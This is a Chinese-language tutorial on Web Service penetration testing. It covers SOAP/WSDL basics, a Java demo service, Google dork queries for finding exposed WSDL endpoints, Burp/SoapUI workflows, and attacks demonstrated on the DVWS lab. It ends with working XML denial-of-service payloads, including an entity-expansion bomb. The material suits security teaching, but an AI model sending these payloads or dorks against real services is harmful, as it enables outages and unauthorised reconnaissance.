自我认为挺全面的【Web Service 渗透测试总结】

 一、Web Service 基础

Web Service 简介

Web Service 是一个平台独立的、低耦合的、自包含的、基于可编程的 Web 的应用程序，可使用开放的 XML（标准通用标记语言下的一个子集）标准来描述、发布、发现、协调和配置这些应用程序，用于开发分布式的交互操作的应用程序。

Web Service 技术， 能使得运行在不同机器上的不同应用无须借助附加的、专门的第三方软件或硬件， 就可相互交换数据或集成。依据 Web Service 规范实施的应用之间， 无论它们所使用的语言、 平台或内部协议是什么， 都可以相互交换数据。Web Service 是自描述、 自包含的可用网络模块， 可以执行具体的业务功能。Web Service 也很容易部署， 因为它们基于一些常规的产业标准以及已有的一些技术，诸如标准通用标记语言下的子集 XML、HTTP。Web Service 减少了应用接口的花费。Web Service 为整个企业甚至多个组织之间的业务流程的集成提供了一个通用机制。

Web Service 的本质，就是通过网络调用其他网站的资源。Web Service 架构的基本思想，就是尽量把非核心功能交给其他人去做，自己全力开发核心功能。

更简单地说，Web Service 是一种跨编程语言、跨操作系统平台的远程调用技术。

Web Service 基本原理

Web Service 通过 HTTP 协议发送请求和接收结果时，发送的请求内容和结果内容都采用 XML 格式封装，并增加了一些特定的 HTTP 消息头，以说明 HTTP 消息的内容格式，这些特定的 HTTP 消息头和 XML 内容格式就是 SOAP 协议规定的。

Web Service 服务器端首先要通过一个 WSDL 文件来说明自己有什么服务可以对外调用。WSDL 就像是一个说明书，用于描述 Web Service 及其方法、参数和返回值。WSDL 文件保存在 Web 服务器上，通过一个 URL 地址就可以访问到它。客户端要调用一个 Web Service 服务之前，要知道该服务的 WSDL 文件的地址。Web Service 服务提供商可以通过两种方式来暴露它的 WSDL 文件地址：1.注册到 UDDI 服务器，以便被人查找；2.直接告诉给客户端调用者。

Web Service 交互的过程就是，Web Service 遵循 SOAP 协议通过 XML 封装数据，然后由 HTTP 协议来传输数据。

【技术干货文档】

Web Service 分类

一般的，Web Service 分为：

• SOAP 型 Web Service：SOAP 型 Web Service 允许使用 XML 格式与服务器进行通信；

• REST 型 Web Service：REST 型 Web Service 允许使用 JSON 格式（也可以使用 XML 格式）与服务器进行通信。与 HTTP 类似，该类型服务支持 GET、POST、PUT、DELETE 方法。不需要 WSDL、UDDI；

Web Service 三要素

Web Service 三要素包括 SOAP（Simple Object Access Protocol）、WSDL（WebServicesDescriptionLanguage）、UDDI（UniversalDescriptionDiscovery andIntegration）。其中 SOAP 用来描述传递信息的格式， WSDL 用来描述如何访问具体的接口， UDDI 用来管理、分发、查询 Web Service 。

Web Service 相关技术

SOAP

SOAP（Simple Object Access Protocol）简单对象访问协议是交换数据的一种协议规范，是一种轻量的、简单的、基于 XML（标准通用标记语言下的一个子集）的协议，它被设计成在 WEB 上交换结构化的和固化的信息。SOAP 不是 Web Service 的专有协议。

SOAP 使用 HTTP 来发送 XML 格式的数据，可以简单理解为：SOAP = HTTP +XML

SOAP 结构如图：

包括以下元素：

• 必需的 Envelope 元素，可把此 XML 文档标识为一条 SOAP 消息

• 可选的 Header 元素，包含头部信息

• 必需的 Body 元素，包含所有的调用和响应信息

• 可选的 Fault 元素，提供有关在处理此消息所发生错误的信息

REST

REST（Representational State Transfer）即表述性状态传递，是 Roy Fielding 博士在 2000 年他的博士论文中提出来的一种软件架构风格。它是一种针对网络应用的设计和开发方式，可以降低开发的复杂性，提高系统的可伸缩性。

REST 是一组架构约束条件和原则。满足这些约束条件和原则的应用程序或设计就是 RESTful。需要注意的是，REST 是设计风格而不是标准。REST 通常基于使用 HTTP，URI，和 XML（标准通用标记语言下的一个子集）以及 HTML（标准通用标记语言下的一个应用）这些现有的广泛流行的协议和标准。

在三种主流的 Web 服务实现方案中，因为 REST 模式的 Web 服务与复杂的 SOAP 和 XML-RPC 对比来讲明显的更加简洁，越来越多的 Web 服务开始采用 REST 风格设计和实现。例如，Amazon.com 提供接近 REST 风格的 Web 服务进行图书查找；雅虎提供的 Web 服务也是 REST 风格的。

WSDL

WSDL（Web Services Description Language）即网络服务描述语言，用于描述 Web 服务的公共接口。这是一个基于 XML 的关于如何与 Web 服务通讯和使用的服务描述；也就是描述与目录中列出的 Web 服务进行交互时需要绑定的协议和信息格式。通常采用抽象语言描述该服务支持的操作和信息，使用的时候再将实际的网络协议和信息格式绑定给该服务。

WSDL 给出了 SOAP 型 Web Service 的基本定义，WSDL 基于 XML 语言，描述了与服务交互的基本元素，说明服务端接口、方法、参数和返回值，WSDL 是随服务发布成功，自动生成，无需编写。少数情况下，WSDL 也可以用来描述 REST 型 Web Service。SOAP 也是基于 XML（标准通用标记语言下的一个子集）和 XSD 的，XML 是 SOAP 的数据编码方式。

WADL

WADL（Web Application Description Language）即 Web 应用程序描述语言，是一个可用计算机处理的表达基于 HTTP 的 Web 应用（如 RESTWeb 服务）的 XML 词汇。WADL 描述了 Web 服务提供的资源及他们的联系。WADL 试图简化重用基于 HTTP 架构的 Web 服务。它是一个平台，且与语言无关，并试图推动除 Web 浏览器的基本使用外的应用重用。

WADL 于 2009 年 8 月 31 日由 Sun 微系统提交至万维网联盟，但联盟目前没有标准化它的计划并且它并没有被广泛地支持。WADL 依照描述基于 SOAP 的 RPC 式服务的 XML 词汇 WSDL 定义，用于描述 REST 服务，而 WSDL 也可用于描述 RESTWeb 服务。

WADL 主要用于 REST 基础。

WADL 与 WSDL 的区别：

• WSDL 是面向接口的描述，WADL 是面向资源的描述；

• WADL 是基于 HTTP 的，WSDL 2.0 是接口独立的；

UDDI

UDDI（Universal Description Discovery and Integration）即统一描述、发现和集成，是一种用于描述、发现、集成 Web Service 的技术，它是 Web Service 协议栈的一个重要部分。通过 UDDI，企业可以根据自己的需要动态查找并使用 Web 服务，也可以将自己的 Web 服务动态地发布到 UDDI 注册中心，供其他用户使用。

UDDI 是核心的 Web 服务标准之一。它通过 SOAP 进行消息传输，用 Web 服务描述语言描述 Web 服务及其接口使用。

SOAP 型 Web Service 服务架构

如图，Web Service 服务提供方将自己的 Web 服务通过 SOAP 动态地发布到 UDDI 注册中心，其中是以 WSDL 文件来进行描述，Web Service 服务消费方先向 UDDI 注册中心通过 SOAP 请求 WSDL 文件回来解析服务提供方提供哪些方法后，再和提供方建立 XML 格式的 HTTP 通信：

WSDL 文档结构

WSDL 文档结构如下，以本地 WSDL 文档为例，：

标签说明：

• definitions：所有 WSDL 文档的根元素都是 definitions 元素；

• types：数据类型(标签)定义的容器，里面使用 schema 定义了一些标签结构供 message 引用 ；

• message：通信消息的数据结构的抽象类型化定义。引用 types 中定义的标签；

• operation：对服务中所支持的操作的抽象描述，一个 operation 描述了一个访问入口的请求消息与响应消息对；

• portType：对于某个访问入口点类型所支持的操作的抽象集合，这些操作可以由一个或多个服务访问点来支持；

• binding：特定端口类型的具体协议和数据格式规范的绑定；

• service：相关服务访问点的集合

• port：定义为协议/数据格式绑定与具体 Web 访问地址组合的单个服务访问点；

那么我们一般如何阅读 WSDL 文件呢？——WSDL 文档都是从下往上阅读的。

先看最底下的 service 标签，查看其中 port 标签的 binding 属性值，然后通过值查找上面的 binding 标签：

通过 binding 标签可以获得具体协议等信息，然后查看 binding 的 type 属性：

通过 binding 的 type 属性，查找对应的 portType，可以获得可操作的方法和参数、返回值等：

通过 portType 下的 operation 标签的 message 属性，可以向上查找 message 获取具体的数据参数：

二、编写 Web Service 程序

简单看下各语言怎么编写 Web Service 程序。

Java 版

编写接口类 ICalculator，其中声明两个方法，注意接口要用@WebService修饰：

编写接口实现类 CalculatorImpl，其中重写实现两个方法，在 @WebService 修饰中指定端点接口为

package com.mi1k7ea;
import javax.jws.WebService;
@WebService(endpointInterface = "com.mi1k7ea.ICalculator", serviceName = "Calcutator")public class CalculatorImpl implements ICalculator {    @Override    public int add(int a, int b) {        return a + b;    }
    @Override    public String concat(String a, String b) {        return a + b;    }}

编写 Web Service 服务端，通过 Endpoint.publish()函数来发布指定地址上的 Web Service 服务：

import com.mi1k7ea.CalculatorImpl;
import javax.xml.ws.Endpoint;
public class WebService {    public static void main(String[] args) {        System.out.println("[*]Start Web Service...");        CalculatorImpl calculator = new CalculatorImpl();
        String address = "http://127.0.0.1:8081/calculator";        Endpoint.publish(address, calculator);
        System.out.println("[*]Web Service is working...");    }}

运行服务即可访问：

三、搜索 Web Service 服务

Google Hack

filetype:asmx inurl:(_vti_bin | api | webservice | ws )allinurl:dll?wsdl filetype:dll
inurl:jws?wsdlinurl:asmx?wsdlinurl:aspx?wsdlinurl:ascx?wsdlinurl:ashx?wsdlinurl:dll?wsdlinurl:exe?wsdlinurl:php?wsdlinurl:pl?wsdlinurl:?wsdlfiletype:jwsfiletype:asmxfiletype:ascxfiletype:aspxfiletype:ashxfiletype:dllfiletype:exefiletype:phpfiletype:plfiletype:wsdl

通过代理流量筛选

可以在如 BurpSuite 这种代理工具中设定的过滤规则来筛选 Web Service 请求。比如“.dll?wsdl”、“.ashx?wsdl”、“.exe?wsdl”、“.php?wsdl”等。

四、针对 Web Service 的渗透测试

Web Service 服务也是一些包装过的接口而已，针对 Web Service 服务的渗透测试和对常规 API 渗透测试是一样的、只是，可以使用安全工具来辅助进行，包括但不限于如下的工具：

• WebScarap

• SoapUI

• WCFStorm

• SOA Cleaner

• WSDigger

• wsScanner

• Wfuzz

• RESTClient

• BurpSuite

• WS-Attacker

• ZAP

• Metasploit

• WSDL Analyze

这里主要讲下如何使用 BurpSuite 和 ReadAPI/SoapUI 这两个工具来对 Web Service 服务进行渗透服务。

ReadyAPI+BurpSuite

网上的资料都是说的用 SoapUI NG Pro+BurpSuite 组合进行 Web Service 的渗透测试，但是现在 SoapUI NG Pro 试用版的下载已经更名为 ReadyAPI 了。

下载地址：https://smartbear.com/product/ready-api/api-functional-testing/free-trial/

整个过程如图：

其实就是 SoapUI NG Pro 作为 Web Service 的测试工具，Burp 作为代理、监听 SoapUI NG Pro 用自己构造的 payload 报文打 Web Service 的流量报文，其中可以篡改对应的报文参数实现渗透测试。

这里本地以 ReadyAPI 为例。

先设置 Burp 代理，在 File->Preferences->Proxy 中设置 Burp 代理服务器地址：

然后新建安全测试任务，选择 WSDL 相关的 API 模块定义：

填写目标 Web Service 的 WSDL 地址，这里以前面编写的 Demo 为例：

点击 Next，当 WSDL 解析完成后，会自动生成一系列的安全测试用例，默认都选上安全测试用例，点击 Finish，然后运行测试用例：

扫描完成之后会给出扫描总结报告、还提供 PDF 版详细报告供查阅：

此时 Burp 中已经监听到了大量 ReadAPI 安全测试用例的报文，只需要将对应的报文放到 Repeater 中修改参数值继续进行渗透测试或者发到 Intruder 中进行 Fuzzing 即可：

后面就是针对常见 API 接口安全的渗透测试了，套路都是一样的。

SoapUI+BurpSuite

当使用没有安全测试用例扫描功能的 SoapUI 时，也可以用来生成对应格式的报文给 Burp 进行手工渗透测试。

这里以 SoapUI Pro 为例，前面的设置操作都是和 ReadyAPI 一样，只是没有了安全测试用例扫描功能而已。

设置好 Burp 代理，新建 SOAP 项目，填入 WSDL 地址完成解析后会显示如下图左边所有的 Web Service 服务和方法，其中可以单个填入参数值发送对应的请求报文并获取结果回显到界面中：

这里 Burp 监听到该报文，只需要修改参数值，而无须构造 XML 格式：

后面就是针对常见 API 接口安全的渗透测试了，套路都是一样的。

BurpSuite 插件之 Wslder

Wslder 是 BurpSuite，其在 Extender 的 BApp Store 中可以直接下载安装。虽然比前面的方法简便，但是有时候生成的请求会存在问题导致无法成功发包，此时就需要用到前面的方法了。

安装成功后，在 Requests 中右键选中Parse WSDL就能直接用了：

解析 WSDL 完成之后，在 Wsdler 栏可以看到解析出来对应的 Web Service 服务和方法以及对应的请求参数样例等，直接修改对应的参数值即可进行渗透测试：

五、 Web Service 漏洞案例

SOAP 型 Web Service 漏洞和 Web 漏洞并没有区别，只是请求的 payload 构造需要满足一些格式要求而已，具体还是要看 Web Service 服务端代码是怎么写的。比如命令注入、SQL 注入、XSS、XXE、XPath 注入、DoS、逻辑漏洞、信息泄露…等等。

这里以 DVWS 靶场为例演示几个 SOAP 类型 Web Service 请求的漏洞利用。

私信回复“资料”零取

1.200 多本网络安全系列电子书

2.网络安全标准题库资料

3.项目源码

4.网络安全基础入门、Linux、web 安全、攻防方面的教学视频

5.网络安全学习路线大纲结构图

XSS

换 SOAP 请求攻击时，注意点就是在 SOAP 中 XSS payload 的尖括号要进行 HTML 编码，不然会造成 SOAP 标签解析错误从而报错：

此外，一般 Web Service 服务站点也是支持上传 XML 文件的，这里就可以使用 xhtml 来触发 XML XSS：

XXE

回显型 XXE，注意 exp 的 XML 内容要写在 SOAP 的前面才能正常解析利用：

任意用户枚举

就是常规的 API 逻辑漏洞而已，利用响应结果二元组来推断：

express-fileupload 原型链污染攻击

有意思的是，这里有个 express-fileupload < 1.1.10 版本的原型链污染漏洞，可导致 DoS（某些情况下可导致任意代码执行）：

DoS

Web Service 服务的交互很多都是用的 XML 格式数据。请求中的 XML 数据会由服务端的 XML 解析器进行解析和处理。

目前主要有两类 XML 解析器：

• 基于 SAX（Simple API for XML）的 XML 解析器：内存中最多容纳 2 个元素。在这种情况下，基于 SAX 的解析器不会存在 DoS 问题；

• 基于 DOM（Document Object Model）的 XML 解析器：会一次性读取客户端存储的所有 XML 数据，

针对元素名称的 DoS 攻击的示例：

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header/><soapenv:Body><TEST><BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA………BGABGABGABGABGABGABGABGABGABGA></TEST></soapenv:Body></soapenv:Envelope>

针对元素属性的 DoS 攻击的示例：

<soapenv:Envelope xmlns:soapenv=" <soapenv:Header/><soapenv:Body><TEST><BGA attribute=”BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA………BGABGABGABGABGABGABGABGABGABGA”></BGA></TEST></soapenv:Body></soapenv:Envelope>

针对元素个数的 DoS 攻击的示例（也可以通过重复某个特定元素达到同样效果）：

<soapenv:Envelope xmlns:soapenv=" <soapenv:Header/><soapenv:Body><TEST><BGA attribute1=”BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA...BGABGABGABGABGABGABGABGABGABGA” attribute2=”BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA...BGABGABGABGABGABGABGABGABGABGA” attribute3=”BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA...BGABGABGABGABGABGABGABGABGABGA”></BGA></TEST></soapenv:Body></soapenv:Envelope>

当然，存在 XXE 时，就可以进行 XXE DoS 攻击：

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE bga [<!ELEMENT ANY ><!ENTITY bga1 "bga1"><!ENTITY bga2 "&bga1;&bga1;&bga1;&bga1;&bga1;&bga1;"><!ENTITY bga3 "&bga2;&bga2;&bga2;&bga2;&bga2;&bga2;"><!ENTITY bga4 "&bga3;&bga3;&bga3;&bga3;&bga3;&bga3;"><!ENTITY bga5 "&bga4;&bga4;&bga4;&bga4;&bga4;&bga4;"><!ENTITY bga6 "&bga5;&bga5;&bga5;&bga5;&bga5;&bga5;">]><bga>&bga6;</bga>